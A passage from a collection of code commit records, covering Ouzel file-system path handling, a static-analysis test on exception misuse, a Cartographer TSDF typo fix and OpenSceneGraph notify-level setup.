companyNamePointer;\n UINT companyNameLength;\n if (VerQueryValueW(fileVersionBuffer.get(),\n subBlock,\n &companyNamePointer,\n &companyNameLength))\n companyName = static_cast<LPWSTR>(companyNamePointer);\n\n\n StringCchPrintfW(subBlock, subBlockSize,\n L\"\\\\StringFileInfo\\\\040904b0\\\\ProductName\",\n translation[i].wLanguage,\n translation[i].wCodePage);\n\n LPVOID productNamePointer;\n UINT productNameLength;\n if (VerQueryValueW(fileVersionBuffer.get(),\n subBlock,\n &productNamePointer,\n &productNameLength))\n productName = static_cast<LPWSTR>(productNamePointer);\n }\n }\n\n if (companyName)\n path \/= companyName;\n else\n path \/= OUZEL_DEVELOPER_NAME;\n\n if (!isDirectory(path))\n createDirectory(path);\n\n if (productName)\n path \/= productName;\n else\n path \/= OUZEL_APPLICATION_NAME;\n\n if (!isDirectory(path))\n createDirectory(path);\n\n return path;\n#elif TARGET_OS_IOS || TARGET_OS_TV\n id fileManager = reinterpret_cast<id (*)(Class, SEL)>(&objc_msgSend)(objc_getClass(\"NSFileManager\"), sel_getUid(\"defaultManager\"));\n\n constexpr NSUInteger NSDocumentDirectory = 9;\n constexpr NSUInteger NSUserDomainMask = 1;\n constexpr NSUInteger NSLocalDomainMask = 2;\n\n id documentDirectory = reinterpret_cast<id (*)(id, SEL, NSUInteger, NSUInteger, id, BOOL, id*)>(&objc_msgSend)(fileManager, sel_getUid(\"URLForDirectory:inDomain:appropriateForURL:create:error:\"), NSDocumentDirectory, user ? NSUserDomainMask : NSLocalDomainMask, nil, YES, nil);\n\n if (!documentDirectory)\n throw std::runtime_error(\"Failed to get document directory\");\n\n id documentDirectoryString = reinterpret_cast<id (*)(id, SEL)>(&objc_msgSend)(documentDirectory, sel_getUid(\"path\"));\n auto pathUtf8String = reinterpret_cast<const char* (*)(id, SEL)>(&objc_msgSend)(documentDirectoryString, sel_getUid(\"UTF8String\"));\n return Path{pathUtf8String, Path::Format::Native};\n#elif TARGET_OS_MAC\n id fileManager = reinterpret_cast<id (*)(Class, SEL)>(&objc_msgSend)(objc_getClass(\"NSFileManager\"), sel_getUid(\"defaultManager\"));\n\n constexpr NSUInteger NSApplicationSupportDirectory = 14;\n constexpr NSUInteger NSUserDomainMask = 1;\n constexpr NSUInteger NSLocalDomainMask = 2;\n\n id applicationSupportDirectory = reinterpret_cast<id (*)(id, SEL, NSUInteger, NSUInteger, id, BOOL, id*)>(&objc_msgSend)(fileManager, sel_getUid(\"URLForDirectory:inDomain:appropriateForURL:create:error:\"), NSApplicationSupportDirectory, user ? NSUserDomainMask : NSLocalDomainMask, nil, YES, nil);\n\n if (!applicationSupportDirectory)\n throw std::runtime_error(\"Failed to get application support directory\");\n\n CFBundleRef bundle = CFBundleGetMainBundle();\n CFStringRef identifier = CFBundleGetIdentifier(bundle);\n\n if (!identifier)\n identifier = CFSTR(OUZEL_DEVELOPER_NAME \".\" OUZEL_APPLICATION_NAME);\n\n id path = reinterpret_cast<id (*)(id, SEL, CFStringRef)>(&objc_msgSend)(applicationSupportDirectory, sel_getUid(\"URLByAppendingPathComponent:\"), identifier);\n reinterpret_cast<void (*)(id, SEL, id, BOOL, id, id)>(&objc_msgSend)(fileManager, sel_getUid(\"createDirectoryAtURL:withIntermediateDirectories:attributes:error:\"), path, YES, nil, nil);\n id pathString = reinterpret_cast<id (*)(id, SEL)>(&objc_msgSend)(path, sel_getUid(\"path\"));\n auto pathUtf8String = reinterpret_cast<const char* (*)(id, SEL)>(&objc_msgSend)(pathString, sel_getUid(\"UTF8String\"));\n return Path{pathUtf8String, Path::Format::Native};\n#elif defined(__ANDROID__)\n static_cast<void>(user);\n\n EngineAndroid& engineAndroid = static_cast<EngineAndroid&>(engine);\n return engineAndroid.getFilesDirectory();\n#elif defined(__linux__)\n Path path;\n\n const char* homeDirectory = std::getenv(\"XDG_DATA_HOME\");\n\n if (homeDirectory)\n path = Path{homeDirectory, Path::Format::Native};\n else\n {\n struct passwd pwent;\n struct passwd* pwentp;\n std::vector<char> buffer(1024);\n int e;\n\n while ((e = getpwuid_r(getuid(), &pwent, buffer.data(), buffer.size(), &pwentp)) == ERANGE)\n buffer.resize(buffer.size() * 2);\n\n if (e != 0)\n throw std::runtime_error(\"Failed to get home directory\");\n else\n path = Path{pwent.pw_dir, Path::Format::Native};\n\n path \/= \".local\";\n\n if (!isDirectory(path))\n createDirectory(path);\n\n path \/= \"share\";\n\n if (!isDirectory(path))\n createDirectory(path);\n }\n\n path \/= OUZEL_DEVELOPER_NAME;\n\n if (!isDirectory(path))\n createDirectory(path);\n\n path \/= OUZEL_APPLICATION_NAME;\n\n if (!isDirectory(path))\n createDirectory(path);\n\n return path;\n#else\n return Path{};\n#endif\n }\n\n std::vector<std::uint8_t> FileSystem::readFile(const Path& filename, const bool searchResources)\n {\n if (searchResources)\n for (auto& archive : archives)\n if (archive.second.fileExists(filename))\n return archive.second.readFile(filename);\n\n#if defined(__ANDROID__)\n if (!filename.isAbsolute())\n {\n EngineAndroid& engineAndroid = static_cast<EngineAndroid&>(engine);\n\n AAsset* asset = AAssetManager_open(engineAndroid.getAssetManager(), filename.getNative().c_str(), AASSET_MODE_STREAMING);\n\n if (!asset)\n throw std::runtime_error(\"Failed to open file \" + std::string(filename));\n\n std::vector<std::uint8_t> data;\n std::uint8_t buffer[1024];\n\n for (;;)\n {\n const int bytesRead = AAsset_read(asset, buffer, sizeof(buffer));\n\n if (bytesRead < 0)\n throw std::runtime_error(\"Failed to read from file\");\n else if (bytesRead == 0)\n break;\n\n data.insert(data.end(), buffer, buffer + bytesRead);\n }\n\n AAsset_close(asset);\n\n return data;\n }\n#endif\n\n const auto path = getPath(filename, searchResources);\n\n \/\/ file does not exist\n if (path.isEmpty())\n throw std::runtime_error(\"Failed to find file \" + std::string(filename));\n\n std::ifstream f(path, std::ios::binary);\n return {std::istreambuf_iterator<char>(f), std::istreambuf_iterator<char>()};\n }\n\n bool FileSystem::resourceFileExists(const Path& filename) const\n {\n if (filename.isAbsolute())\n return fileExists(filename);\n else\n {\n Path result = appPath \/ filename;\n\n if (fileExists(result))\n return true;\n else\n for (const auto& path : resourcePaths)\n {\n if (path.isAbsolute()) \/\/ if resource path is absolute\n result = path \/ filename;\n else\n result = appPath \/ path \/ filename;\n\n if (fileExists(result))\n return true;\n }\n\n return false;\n }\n }\n\n bool FileSystem::directoryExists(const Path& dirname) const\n {\n#if defined(__ANDROID__)\n EngineAndroid& engineAndroid = static_cast<EngineAndroid&>(engine);\n\n AAssetDir* assetDir = AAssetManager_openDir(engineAndroid.getAssetManager(), dirname.getNative().c_str());\n const bool exists = AAssetDir_getNextFileName(assetDir) != nullptr;\n AAssetDir_close(assetDir);\n\n if (exists) return true;\n#endif\n\n return isDirectory(dirname);\n }\n\n bool FileSystem::fileExists(const Path& filename) const\n {\n#if defined(__ANDROID__)\n EngineAndroid& engineAndroid = static_cast<EngineAndroid&>(engine);\n\n AAsset* asset = AAssetManager_open(engineAndroid.getAssetManager(), filename.getNative().c_str(), AASSET_MODE_STREAMING);\n\n if (asset)\n {\n AAsset_close(asset);\n return true;\n }\n#endif\n\n return isRegular(filename);\n }\n } \/\/ namespace storage\n} \/\/ namespace ouzel\n<|endoftext|>"} {"text":"<commit_before>typedef unsigned int size_t;\nvoid clean();\n\n\nvoid funcTest1()\n{\n throw (\"my exception!\",546); \/\/ BAD\n}\n\nvoid DllMain()\n{\n try { throw \"my exception!\"; } \/\/ BAD\n catch (...) { }\n}\n\nvoid funcTest2()\n{\n try { throw \"my exception!\"; } \/\/ GOOD\n catch (...) { clean(); }\n}\nvoid TestFunc()\n{\n funcTest1();\n DllMain();\n funcTest2();\n}\n<commit_msg>Update test.cpp<commit_after>namespace std\n{\n\tclass exception {\n\t};\n\n\tclass runtime_error : public exception {\n\tpublic:\n\t\truntime_error(const char *msg);\n\t};\n}\n\ntypedef unsigned int size_t;\nvoid clean();\n\n\nvoid funcTest1()\n{\n throw (\"my exception!\",546); \/\/ BAD\n}\n\nvoid DllMain()\n{\n try { throw \"my exception!\"; } \/\/ BAD\n catch (...) { }\n}\n\nvoid funcTest2()\n{\n try { throw \"my exception!\"; } \/\/ GOOD\n catch (...) { clean(); }\n}\n\nvoid funcTest3()\n{\n std::runtime_error(\"msg error\"); \/\/ BAD\n throw std::runtime_error(\"msg error\"); \/\/ GOOD\n}\n\nvoid TestFunc()\n{\n funcTest1();\n DllMain();\n funcTest2();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2018 The Cartographer Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"cartographer\/mapping\/2d\/tsdf_range_data_inserter_2d.h\"\n\n#include \"cartographer\/mapping\/internal\/2d\/normal_estimation_2d.h\"\n#include \"cartographer\/mapping\/internal\/2d\/ray_to_pixel_mask.h\"\n\nnamespace cartographer {\nnamespace mapping {\nnamespace {\n\n\/\/ Factor for subpixel accuracy of start and end point for ray casts.\nconstexpr int kSubpixelScale = 1000;\n\/\/ Minimum distance between range observation and origin. Otherwise, range\n\/\/ observations are discarded.\nconstexpr float kMinRangeMeters = 1e-6f;\nconst float kSqrtTwoPi = std::sqrt(2.0 * M_PI);\n\nvoid GrowAsNeeded(const sensor::RangeData& range_data,\n const float truncation_distance, TSDF2D* const tsdf) {\n Eigen::AlignedBox2f bounding_box(range_data.origin.head<2>());\n for (const sensor::RangefinderPoint& hit : range_data.returns) {\n const Eigen::Vector3f direction =\n (hit.position - range_data.origin).normalized();\n const Eigen::Vector3f end_position =\n hit.position + truncation_distance * direction;\n bounding_box.extend(end_position.head<2>());\n }\n \/\/ Padding around bounding box to avoid numerical issues at cell boundaries.\n constexpr float kPadding = 1e-6f;\n tsdf->GrowLimits(bounding_box.min() - kPadding * Eigen::Vector2f::Ones());\n tsdf->GrowLimits(bounding_box.max() + kPadding * Eigen::Vector2f::Ones());\n}\n\nfloat GaussianKernel(const float x, const float sigma) {\n return 1.0 \/ (kSqrtTwoPi * sigma) * std::exp(-0.5 * x * x \/ (sigma * sigma));\n}\n\nstd::pair<Eigen::Array2i, Eigen::Array2i> SuperscaleRay(\n const Eigen::Vector2f& begin, const Eigen::Vector2f& end,\n TSDF2D* const tsdf) {\n const MapLimits& limits = tsdf->limits();\n const double superscaled_resolution = limits.resolution() \/ kSubpixelScale;\n const MapLimits superscaled_limits(\n superscaled_resolution, limits.max(),\n CellLimits(limits.cell_limits().num_x_cells * kSubpixelScale,\n limits.cell_limits().num_y_cells * kSubpixelScale));\n\n const Eigen::Array2i superscaled_begin =\n superscaled_limits.GetCellIndex(begin);\n const Eigen::Array2i superscaled_end = superscaled_limits.GetCellIndex(end);\n return std::make_pair(superscaled_begin, superscaled_end);\n}\n\nstruct RangeDataSorter {\n RangeDataSorter(Eigen::Vector3f origin) { origin_ = origin.head<2>(); }\n bool operator()(const sensor::RangefinderPoint& lhs,\n const sensor::RangefinderPoint& rhs) {\n const Eigen::Vector2f delta_lhs =\n (lhs.position.head<2>() - origin_).normalized();\n const Eigen::Vector2f delta_rhs =\n (lhs.position.head<2>() - origin_).normalized();\n if ((delta_lhs[1] < 0.f) != (delta_rhs[1] < 0.f)) {\n return delta_lhs[1] < 0.f;\n } else if (delta_lhs[1] < 0.f) {\n return delta_lhs[0] < delta_rhs[0];\n } else {\n return delta_lhs[0] > delta_rhs[0];\n }\n }\n\n private:\n Eigen::Vector2f origin_;\n};\n\nfloat ComputeRangeWeightFactor(float range, int exponent) {\n float weight = 0.f;\n if (std::abs(range) > kMinRangeMeters) {\n weight = 1.f \/ (std::pow(range, exponent));\n }\n return weight;\n}\n} \/\/ namespace\n\nproto::TSDFRangeDataInserterOptions2D CreateTSDFRangeDataInserterOptions2D(\n common::LuaParameterDictionary* parameter_dictionary) {\n proto::TSDFRangeDataInserterOptions2D options;\n options.set_truncation_distance(\n parameter_dictionary->GetDouble(\"truncation_distance\"));\n options.set_maximum_weight(parameter_dictionary->GetDouble(\"maximum_weight\"));\n options.set_update_free_space(\n parameter_dictionary->GetBool(\"update_free_space\"));\n *options\n .mutable_normal_estimation_options() = CreateNormalEstimationOptions2D(\n parameter_dictionary->GetDictionary(\"normal_estimation_options\").get());\n options.set_project_sdf_distance_to_scan_normal(\n parameter_dictionary->GetBool(\"project_sdf_distance_to_scan_normal\"));\n options.set_update_weight_range_exponent(\n parameter_dictionary->GetInt(\"update_weight_range_exponent\"));\n options.set_update_weight_angle_scan_normal_to_ray_kernel_bandwidth(\n parameter_dictionary->GetDouble(\n \"update_weight_angle_scan_normal_to_ray_kernel_bandwidth\"));\n options.set_update_weight_distance_cell_to_hit_kernel_bandwidth(\n parameter_dictionary->GetDouble(\n \"update_weight_distance_cell_to_hit_kernel_bandwidth\"));\n return options;\n}\n\nTSDFRangeDataInserter2D::TSDFRangeDataInserter2D(\n const proto::TSDFRangeDataInserterOptions2D& options)\n : options_(options) {}\n\n\/\/ Casts a ray from origin towards hit for each hit in range data.\n\/\/ If 'options.update_free_space' is 'true', all cells along the ray\n\/\/ until 'truncation_distance' behind hit are updated. Otherwise, only the cells\n\/\/ within 'truncation_distance' around hit are updated.\nvoid TSDFRangeDataInserter2D::Insert(const sensor::RangeData& range_data,\n GridInterface* grid) const {\n const float truncation_distance =\n static_cast<float>(options_.truncation_distance());\n TSDF2D* tsdf = static_cast<TSDF2D*>(grid);\n GrowAsNeeded(range_data, truncation_distance, tsdf);\n\n \/\/ Compute normals if needed.\n bool scale_update_weight_angle_scan_normal_to_ray =\n options_.update_weight_angle_scan_normal_to_ray_kernel_bandwidth() != 0.f;\n sensor::RangeData sorted_range_data = range_data;\n std::vector<float> normals;\n if (options_.project_sdf_distance_to_scan_normal() ||\n scale_update_weight_angle_scan_normal_to_ray) {\n std::sort(sorted_range_data.returns.begin(),\n sorted_range_data.returns.end(),\n RangeDataSorter(sorted_range_data.origin));\n normals = EstimateNormals(sorted_range_data,\n options_.normal_estimation_options());\n }\n\n const Eigen::Vector2f origin = sorted_range_data.origin.head<2>();\n for (size_t hit_index = 0; hit_index < sorted_range_data.returns.size();\n ++hit_index) {\n const Eigen::Vector2f hit =\n sorted_range_data.returns[hit_index].position.head<2>();\n const float normal = normals.empty()\n ? std::numeric_limits<float>::quiet_NaN()\n : normals[hit_index];\n InsertHit(options_, hit, origin, normal, tsdf);\n }\n tsdf->FinishUpdate();\n}\n\nvoid TSDFRangeDataInserter2D::InsertHit(\n const proto::TSDFRangeDataInserterOptions2D& options,\n const Eigen::Vector2f& hit, const Eigen::Vector2f& origin, float normal,\n TSDF2D* tsdf) const {\n const Eigen::Vector2f ray = hit - origin;\n const float range = ray.norm();\n const float truncation_distance =\n static_cast<float>(options_.truncation_distance());\n if (range < truncation_distance) return;\n const float truncation_ratio = truncation_distance \/ range;\n const Eigen::Vector2f ray_begin =\n options_.update_free_space() ? origin\n : origin + (1.0f - truncation_ratio) * ray;\n const Eigen::Vector2f ray_end = origin + (1.0f + truncation_ratio) * ray;\n std::pair<Eigen::Array2i, Eigen::Array2i> superscaled_ray =\n SuperscaleRay(ray_begin, ray_end, tsdf);\n std::vector<Eigen::Array2i> ray_mask = RayToPixelMask(\n superscaled_ray.first, superscaled_ray.second, kSubpixelScale);\n\n \/\/ Precompute weight factors.\n float weight_factor_angle_ray_normal = 1.f;\n if (options_.update_weight_angle_scan_normal_to_ray_kernel_bandwidth() !=\n 0.f) {\n const Eigen::Vector2f negative_ray = -ray;\n float angle_ray_normal =\n common::NormalizeAngleDifference(normal - common::atan2(negative_ray));\n weight_factor_angle_ray_normal = GaussianKernel(\n angle_ray_normal,\n options_.update_weight_angle_scan_normal_to_ray_kernel_bandwidth());\n }\n float weight_factor_range = 1.f;\n if (options_.update_weight_range_exponent() != 0) {\n weight_factor_range = ComputeRangeWeightFactor(\n range, options_.update_weight_range_exponent());\n }\n\n \/\/ Update Cells.\n for (const Eigen::Array2i& cell_index : ray_mask) {\n if (tsdf->CellIsUpdated(cell_index)) continue;\n Eigen::Vector2f cell_center = tsdf->limits().GetCellCenter(cell_index);\n float distance_cell_to_origin = (cell_center - origin).norm();\n float update_tsd = range - distance_cell_to_origin;\n if (options_.project_sdf_distance_to_scan_normal()) {\n float normal_orientation = normal;\n update_tsd = (cell_center - hit)\n .dot(Eigen::Vector2f{std::cos(normal_orientation),\n std::sin(normal_orientation)});\n }\n update_tsd =\n common::Clamp(update_tsd, -truncation_distance, truncation_distance);\n float update_weight = weight_factor_range * weight_factor_angle_ray_normal;\n if (options_.update_weight_distance_cell_to_hit_kernel_bandwidth() != 0.f) {\n update_weight *= GaussianKernel(\n update_tsd,\n options_.update_weight_distance_cell_to_hit_kernel_bandwidth());\n }\n UpdateCell(cell_index, update_tsd, update_weight, tsdf);\n }\n}\n\nvoid TSDFRangeDataInserter2D::UpdateCell(const Eigen::Array2i& cell,\n float update_sdf, float update_weight,\n TSDF2D* tsdf) const {\n if (update_weight == 0.f) return;\n const std::pair<float, float> tsd_and_weight = tsdf->GetTSDAndWeight(cell);\n float updated_weight = tsd_and_weight.second + update_weight;\n float updated_sdf = (tsd_and_weight.first * tsd_and_weight.second +\n update_sdf * update_weight) \/\n updated_weight;\n updated_weight =\n std::min(updated_weight, static_cast<float>(options_.maximum_weight()));\n tsdf->SetCell(cell, updated_sdf, updated_weight);\n}\n\n} \/\/ namespace mapping\n} \/\/ namespace cartographer\n<commit_msg>Fix typo in tsdf_range_data_inserter_2d.cc (#1612)<commit_after>\/*\n * Copyright 2018 The Cartographer Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"cartographer\/mapping\/2d\/tsdf_range_data_inserter_2d.h\"\n\n#include \"cartographer\/mapping\/internal\/2d\/normal_estimation_2d.h\"\n#include \"cartographer\/mapping\/internal\/2d\/ray_to_pixel_mask.h\"\n\nnamespace cartographer {\nnamespace mapping {\nnamespace {\n\n\/\/ Factor for subpixel accuracy of start and end point for ray casts.\nconstexpr int kSubpixelScale = 1000;\n\/\/ Minimum distance between range observation and origin. Otherwise, range\n\/\/ observations are discarded.\nconstexpr float kMinRangeMeters = 1e-6f;\nconst float kSqrtTwoPi = std::sqrt(2.0 * M_PI);\n\nvoid GrowAsNeeded(const sensor::RangeData& range_data,\n const float truncation_distance, TSDF2D* const tsdf) {\n Eigen::AlignedBox2f bounding_box(range_data.origin.head<2>());\n for (const sensor::RangefinderPoint& hit : range_data.returns) {\n const Eigen::Vector3f direction =\n (hit.position - range_data.origin).normalized();\n const Eigen::Vector3f end_position =\n hit.position + truncation_distance * direction;\n bounding_box.extend(end_position.head<2>());\n }\n \/\/ Padding around bounding box to avoid numerical issues at cell boundaries.\n constexpr float kPadding = 1e-6f;\n tsdf->GrowLimits(bounding_box.min() - kPadding * Eigen::Vector2f::Ones());\n tsdf->GrowLimits(bounding_box.max() + kPadding * Eigen::Vector2f::Ones());\n}\n\nfloat GaussianKernel(const float x, const float sigma) {\n return 1.0 \/ (kSqrtTwoPi * sigma) * std::exp(-0.5 * x * x \/ (sigma * sigma));\n}\n\nstd::pair<Eigen::Array2i, Eigen::Array2i> SuperscaleRay(\n const Eigen::Vector2f& begin, const Eigen::Vector2f& end,\n TSDF2D* const tsdf) {\n const MapLimits& limits = tsdf->limits();\n const double superscaled_resolution = limits.resolution() \/ kSubpixelScale;\n const MapLimits superscaled_limits(\n superscaled_resolution, limits.max(),\n CellLimits(limits.cell_limits().num_x_cells * kSubpixelScale,\n limits.cell_limits().num_y_cells * kSubpixelScale));\n\n const Eigen::Array2i superscaled_begin =\n superscaled_limits.GetCellIndex(begin);\n const Eigen::Array2i superscaled_end = superscaled_limits.GetCellIndex(end);\n return std::make_pair(superscaled_begin, superscaled_end);\n}\n\nstruct RangeDataSorter {\n RangeDataSorter(Eigen::Vector3f origin) { origin_ = origin.head<2>(); }\n bool operator()(const sensor::RangefinderPoint& lhs,\n const sensor::RangefinderPoint& rhs) {\n const Eigen::Vector2f delta_lhs =\n (lhs.position.head<2>() - origin_).normalized();\n const Eigen::Vector2f delta_rhs =\n (rhs.position.head<2>() - origin_).normalized();\n if ((delta_lhs[1] < 0.f) != (delta_rhs[1] < 0.f)) {\n return delta_lhs[1] < 0.f;\n } else if (delta_lhs[1] < 0.f) {\n return delta_lhs[0] < delta_rhs[0];\n } else {\n return delta_lhs[0] > delta_rhs[0];\n }\n }\n\n private:\n Eigen::Vector2f origin_;\n};\n\nfloat ComputeRangeWeightFactor(float range, int exponent) {\n float weight = 0.f;\n if (std::abs(range) > kMinRangeMeters) {\n weight = 1.f \/ (std::pow(range, exponent));\n }\n return weight;\n}\n} \/\/ namespace\n\nproto::TSDFRangeDataInserterOptions2D CreateTSDFRangeDataInserterOptions2D(\n common::LuaParameterDictionary* parameter_dictionary) {\n proto::TSDFRangeDataInserterOptions2D options;\n options.set_truncation_distance(\n parameter_dictionary->GetDouble(\"truncation_distance\"));\n options.set_maximum_weight(parameter_dictionary->GetDouble(\"maximum_weight\"));\n options.set_update_free_space(\n parameter_dictionary->GetBool(\"update_free_space\"));\n *options\n .mutable_normal_estimation_options() = CreateNormalEstimationOptions2D(\n parameter_dictionary->GetDictionary(\"normal_estimation_options\").get());\n options.set_project_sdf_distance_to_scan_normal(\n parameter_dictionary->GetBool(\"project_sdf_distance_to_scan_normal\"));\n options.set_update_weight_range_exponent(\n parameter_dictionary->GetInt(\"update_weight_range_exponent\"));\n options.set_update_weight_angle_scan_normal_to_ray_kernel_bandwidth(\n parameter_dictionary->GetDouble(\n \"update_weight_angle_scan_normal_to_ray_kernel_bandwidth\"));\n options.set_update_weight_distance_cell_to_hit_kernel_bandwidth(\n parameter_dictionary->GetDouble(\n \"update_weight_distance_cell_to_hit_kernel_bandwidth\"));\n return options;\n}\n\nTSDFRangeDataInserter2D::TSDFRangeDataInserter2D(\n const proto::TSDFRangeDataInserterOptions2D& options)\n : options_(options) {}\n\n\/\/ Casts a ray from origin towards hit for each hit in range data.\n\/\/ If 'options.update_free_space' is 'true', all cells along the ray\n\/\/ until 'truncation_distance' behind hit are updated. Otherwise, only the cells\n\/\/ within 'truncation_distance' around hit are updated.\nvoid TSDFRangeDataInserter2D::Insert(const sensor::RangeData& range_data,\n GridInterface* grid) const {\n const float truncation_distance =\n static_cast<float>(options_.truncation_distance());\n TSDF2D* tsdf = static_cast<TSDF2D*>(grid);\n GrowAsNeeded(range_data, truncation_distance, tsdf);\n\n \/\/ Compute normals if needed.\n bool scale_update_weight_angle_scan_normal_to_ray =\n options_.update_weight_angle_scan_normal_to_ray_kernel_bandwidth() != 0.f;\n sensor::RangeData sorted_range_data = range_data;\n std::vector<float> normals;\n if (options_.project_sdf_distance_to_scan_normal() ||\n scale_update_weight_angle_scan_normal_to_ray) {\n std::sort(sorted_range_data.returns.begin(),\n sorted_range_data.returns.end(),\n RangeDataSorter(sorted_range_data.origin));\n normals = EstimateNormals(sorted_range_data,\n options_.normal_estimation_options());\n }\n\n const Eigen::Vector2f origin = sorted_range_data.origin.head<2>();\n for (size_t hit_index = 0; hit_index < sorted_range_data.returns.size();\n ++hit_index) {\n const Eigen::Vector2f hit =\n sorted_range_data.returns[hit_index].position.head<2>();\n const float normal = normals.empty()\n ? std::numeric_limits<float>::quiet_NaN()\n : normals[hit_index];\n InsertHit(options_, hit, origin, normal, tsdf);\n }\n tsdf->FinishUpdate();\n}\n\nvoid TSDFRangeDataInserter2D::InsertHit(\n const proto::TSDFRangeDataInserterOptions2D& options,\n const Eigen::Vector2f& hit, const Eigen::Vector2f& origin, float normal,\n TSDF2D* tsdf) const {\n const Eigen::Vector2f ray = hit - origin;\n const float range = ray.norm();\n const float truncation_distance =\n static_cast<float>(options_.truncation_distance());\n if (range < truncation_distance) return;\n const float truncation_ratio = truncation_distance \/ range;\n const Eigen::Vector2f ray_begin =\n options_.update_free_space() ? origin\n : origin + (1.0f - truncation_ratio) * ray;\n const Eigen::Vector2f ray_end = origin + (1.0f + truncation_ratio) * ray;\n std::pair<Eigen::Array2i, Eigen::Array2i> superscaled_ray =\n SuperscaleRay(ray_begin, ray_end, tsdf);\n std::vector<Eigen::Array2i> ray_mask = RayToPixelMask(\n superscaled_ray.first, superscaled_ray.second, kSubpixelScale);\n\n \/\/ Precompute weight factors.\n float weight_factor_angle_ray_normal = 1.f;\n if (options_.update_weight_angle_scan_normal_to_ray_kernel_bandwidth() !=\n 0.f) {\n const Eigen::Vector2f negative_ray = -ray;\n float angle_ray_normal =\n common::NormalizeAngleDifference(normal - common::atan2(negative_ray));\n weight_factor_angle_ray_normal = GaussianKernel(\n angle_ray_normal,\n options_.update_weight_angle_scan_normal_to_ray_kernel_bandwidth());\n }\n float weight_factor_range = 1.f;\n if (options_.update_weight_range_exponent() != 0) {\n weight_factor_range = ComputeRangeWeightFactor(\n range, options_.update_weight_range_exponent());\n }\n\n \/\/ Update Cells.\n for (const Eigen::Array2i& cell_index : ray_mask) {\n if (tsdf->CellIsUpdated(cell_index)) continue;\n Eigen::Vector2f cell_center = tsdf->limits().GetCellCenter(cell_index);\n float distance_cell_to_origin = (cell_center - origin).norm();\n float update_tsd = range - distance_cell_to_origin;\n if (options_.project_sdf_distance_to_scan_normal()) {\n float normal_orientation = normal;\n update_tsd = (cell_center - hit)\n .dot(Eigen::Vector2f{std::cos(normal_orientation),\n std::sin(normal_orientation)});\n }\n update_tsd =\n common::Clamp(update_tsd, -truncation_distance, truncation_distance);\n float update_weight = weight_factor_range * weight_factor_angle_ray_normal;\n if (options_.update_weight_distance_cell_to_hit_kernel_bandwidth() != 0.f) {\n update_weight *= GaussianKernel(\n update_tsd,\n options_.update_weight_distance_cell_to_hit_kernel_bandwidth());\n }\n UpdateCell(cell_index, update_tsd, update_weight, tsdf);\n }\n}\n\nvoid TSDFRangeDataInserter2D::UpdateCell(const Eigen::Array2i& cell,\n float update_sdf, float update_weight,\n TSDF2D* tsdf) const {\n if (update_weight == 0.f) return;\n const std::pair<float, float> tsd_and_weight = tsdf->GetTSDAndWeight(cell);\n float updated_weight = tsd_and_weight.second + update_weight;\n float updated_sdf = (tsd_and_weight.first * tsd_and_weight.second +\n update_sdf * update_weight) \/\n updated_weight;\n updated_weight =\n std::min(updated_weight, static_cast<float>(options_.maximum_weight()));\n tsdf->SetCell(cell, updated_sdf, updated_weight);\n}\n\n} \/\/ namespace mapping\n} \/\/ namespace cartographer\n<|endoftext|>"} {"text":"<commit_before>#include <osg\/Notify>\n#include <string>\n\nusing namespace std;\n\nosg::NotifySeverity osg::g_NotifyLevel = osg::NOTICE;\nstd::auto_ptr<ofstream> osg::g_NotifyNulStream; \nbool osg::g_NotifyInit = false;\n\nvoid osg::setNotifyLevel(osg::NotifySeverity severity)\n{\n osg::initNotifyLevel();\n g_NotifyLevel = severity;\n}\n\n\nosg::NotifySeverity osg::getNotifyLevel()\n{\n osg::initNotifyLevel();\n return g_NotifyLevel;\n}\n\n\nbool osg::initNotifyLevel()\n{\n if (g_NotifyInit) return true;\n \n g_NotifyInit = true;\n\n \/\/ set up global notify null stream for inline notify\n#if defined(WIN32) && !defined(__CYGWIN__)\n g_NotifyNulStream = std::auto_ptr<ofstream>(osgNew std::ofstream (\"nul\"));\n#else\n g_NotifyNulStream.reset(osgNew std::ofstream (\"\/dev\/null\"));\n#endif\n\n \/\/ g_NotifyLevel\n \/\/ =============\n\n g_NotifyLevel = osg::NOTICE; \/\/ Default value\n\n char *OSGNOTIFYLEVEL=getenv(\"OSGNOTIFYLEVEL\");\n if(OSGNOTIFYLEVEL)\n {\n\n std::string stringOSGNOTIFYLEVEL(OSGNOTIFYLEVEL);\n\n \/\/ Convert to upper case\n for(std::string::iterator i=stringOSGNOTIFYLEVEL.begin();\n i!=stringOSGNOTIFYLEVEL.end();\n ++i)\n {\n *i=toupper(*i);\n }\n\n if(stringOSGNOTIFYLEVEL.find(\"ALWAYS\")!=std::string::npos) g_NotifyLevel=osg::ALWAYS;\n else if(stringOSGNOTIFYLEVEL.find(\"FATAL\")!=std::string::npos) g_NotifyLevel=osg::FATAL;\n else if(stringOSGNOTIFYLEVEL.find(\"WARN\")!=std::string::npos) g_NotifyLevel=osg::WARN;\n else if(stringOSGNOTIFYLEVEL.find(\"NOTICE\")!=std::string::npos) g_NotifyLevel=osg::NOTICE;\n else if(stringOSGNOTIFYLEVEL.find(\"INFO\")!=std::string::npos) g_NotifyLevel=osg::INFO;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG_INFO\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_INFO;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG_FP\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_FP;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_INFO;\n \n }\n\n return true;\n\n}\n<commit_msg>Changed the Windows gauard around so that it only works for VisualStudio and not Cygwin\/Mingw.<commit_after>#include <osg\/Notify>\n#include <string>\n\nusing namespace std;\n\nosg::NotifySeverity 